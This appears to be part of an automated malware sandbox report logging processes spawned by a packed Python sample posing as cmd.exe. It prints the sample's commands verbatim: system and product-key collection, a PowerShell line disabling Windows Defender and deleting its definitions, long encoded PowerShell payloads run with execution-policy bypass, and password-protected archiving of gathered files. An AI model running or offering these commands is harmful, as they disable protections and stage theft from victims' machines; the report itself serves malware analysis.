Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe

Code function: 65_2_00007FF69A42B340 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

65_2_00007FF69A42B340

Source: C:\Users\user\Desktop\cmd.exe

Code function: 0_2_00007FF70AF195E0 cpuid

0_2_00007FF70AF195E0

Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_ctypes.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\libffi-7.dll VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\python310.dll VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\select.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_lzma.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_ssl.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
